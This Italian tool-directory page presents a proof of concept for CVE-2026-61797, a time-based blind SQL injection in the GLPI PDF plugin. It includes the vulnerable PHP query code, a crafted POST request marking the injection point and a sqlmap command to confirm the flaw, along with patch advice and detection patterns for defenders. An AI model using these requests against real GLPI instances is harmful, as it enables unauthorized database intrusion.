Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-61797 — Proof of Concept per CVE-2026-61797, un'SQL injection blind basata sul tempo nel plugin PDF di GLPI, con validazione tramite sqlmap e indicazioni per il rilevamento. | Kitploit
Strumenti/GitHubGitHub/itres-labs/cve-2026-61797
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubitres-labs/cve-2026-61797

CVE-2026-61797

Proof of Concept per CVE-2026-61797, un'SQL injection blind basata sul tempo nel plugin PDF di GLPI, con validazione tramite sqlmap e indicazioni per il rilevamento.

Vedi Repository
12021 giorni faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-61797 — SQL Injection cieca basata sul tempo nel plugin PDF di GLPI

Proof of Concept per CVE-2026-61797, una vulnerabilità di SQL Injection cieca basata sul tempo che interessa il plugin PDF di GLPI.

La vulnerabilità è raggiungibile tramite:

/marketplace/pdf/front/preference.form.php

Nell'implementazione vulnerabile, i valori controllati dall'utente provenienti dall'array POST item vengono inseriti nelle query SQL senza una corretta parametrizzazione.

Un utente GLPI autenticato con privilegi bassi può sfruttare questo comportamento per iniettare espressioni SQL e dedurre informazioni dal database tramite i tempi di risposta.


Vulnerabilità

CampoValore
CVECVE-2026-61797
ProdottoGLPI PDF Plugin
Versione testata4.1.2
Versione corretta4.1.3
VulnerabilitàSQL Injection cieca basata sul tempo
AutenticazioneRichiesta sul branch 4.1.2 testato
Vettore di attaccoRete
Interazione utenteNessuna
DatabaseMySQL
CVSS6.1 / 10
AdvisoryGHSA-wwr3-v347-c64m

Il codice vulnerabile finisce per inserire la chiave item controllata dall'attaccante nel campo tabref di un'istruzione SQL INSERT.

Concettualmente, l'operazione vulnerabile appariva così:

foreach ($_POST['item'] as $key => $val) {
    $DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
        (`id`, `users_id`, `itemtype`, `tabref`)
        VALUES (
            NULL,
            '" . $_SESSION['glpiID'] . "',
            '" . $_POST['plugin_pdf_inventory_type'] . "',
            '$key'
        )");
}

Poiché $key diventa parte dell'istruzione SQL, una chiave di array appositamente costruita può modificare la query risultante.


Requisiti

Il PoC richiede:

  • Un'istanza GLPI che esegue una versione vulnerabile del plugin PDF.
  • Una sessione GLPI autenticata valida.
  • Un token CSRF valido.
  • sqlmap.
  • L'autorizzazione a testare il target.

Il PoC è stato validato contro PDF Plugin 4.1.2.


Proof of Concept

Catturare una richiesta legittima verso:

POST /marketplace/pdf/front/preference.form.php

e salvarla come:

glpi.sqli

Un corpo di richiesta minimo adatto a contrassegnare il punto di iniezione è:

plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>

Il * indica a sqlmap quale parte della richiesta deve essere testata.

Esempio di struttura della richiesta:

POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>

plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>

Validazione con sqlmap

Eseguire:

sqlmap \
  -r glpi.sqli \
  --csrf-url "https://glpi.example.test/front/preference.php" \
  --csrf-token "_glpi_csrf_token" \
  --cookie "<VALID_GLPI_SESSION>" \
  --technique=T \
  --level=5 \
  --risk=1 \
  --batch

Un'installazione vulnerabile dovrebbe essere identificata come accettante una SQL injection cieca basata sul tempo nel punto di iniezione POST personalizzato.

Una tipica rilevazione è simile a:

Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind

La tecnica si basa su ritardi condizionali di MySQL come SLEEP() per determinare se una condizione iniettata risulta vera.

Questo repository limita intenzionalmente il PoC documentato alla verifica della vulnerabilità e non fornisce comandi per l'estrazione del database o delle credenziali.


Dettagli tecnici

La richiesta vulnerabile raggiunge:

plugins/pdf/front/preference.form.php

L'applicazione elabora valori simili a:

item[<USER_CONTROLLED_VALUE>]=1

PHP converte questo in un array associativo, in cui l'attaccante controlla la chiave dell'array.

Tale chiave viene successivamente utilizzata come $key dal plugin e, nella versione vulnerabile, viene concatenata direttamente in un'istruzione SQL.

Il flusso di dati risultante è effettivamente:

HTTP POST
   |
   v
$_POST['item']
   |
   v
array key ($key)
   |
   v
SQL string concatenation
   |
   v
MySQL

Un payload basato sul tempo può quindi influenzare l'espressione SQL e far ritardare deliberatamente la risposta al database quando una condizione fornita è vera.

Poiché l'applicazione non restituisce direttamente i risultati della query SQL, lo sfruttamento viene eseguito come SQL injection cieca.


Patch

Il problema è stato corretto in PDF Plugin 4.1.3.

Le operazioni SQL non elaborate vulnerabili sono state sostituite con meccanismi database/ORM più sicuri e logica di autorizzazione aggiuntiva.

Gli utenti dovrebbero aggiornare a:

PDF Plugin >= 4.1.3

o a una release supportata più recente.


Rilevamento

I difensori potrebbero voler esaminare le richieste HTTP dirette a:

/marketplace/pdf/front/preference.form.php

con nomi di parametro item[...] insoliti.

Pattern particolarmente sospetti includono sintassi SQL o funzioni di ritardo temporale che compaiono all'interno di una chiave di array, ad esempio riferimenti a:

SLEEP(
SELECT
AND
OR
||
'
"

Richieste POST ripetute verso l'endpoint seguite da ritardi di risposta costanti di più secondi possono anche indicare tentativi di sfruttare una SQL injection cieca basata sul tempo.


Uso responsabile

Questo Proof of Concept è fornito esclusivamente per:

  • ricerca sulla sicurezza;
  • verifica di vulnerabilità;
  • test di penetrazione eseguiti con autorizzazione;
  • validazione difensiva;
  • ingegneria del rilevamento.

Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione al test.

Gli autori non si assumono alcuna responsabilità per l'uso non autorizzato o illegale di questo materiale.


Crediti

Ricerca sulla vulnerabilità e analisi tecnica originale:

ITRESIT Labs — Javier Medina

Ricerca originale:

https://labs.itresit.es/2026/09/14/source-driven-recon-when-the-patch-becomes-the-poc-and-what-cve-2026-61797-taught-us-about-disclosure-opsec/

CVE:

CVE-2026-61797

GitHub Security Advisory:

GHSA-wwr3-v347-c64m

Disclaimer

Questo repository è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.

Ottenere sempre esplicita autorizzazione prima di testare sistemi di cui non si è proprietari.

Scarica lo strumento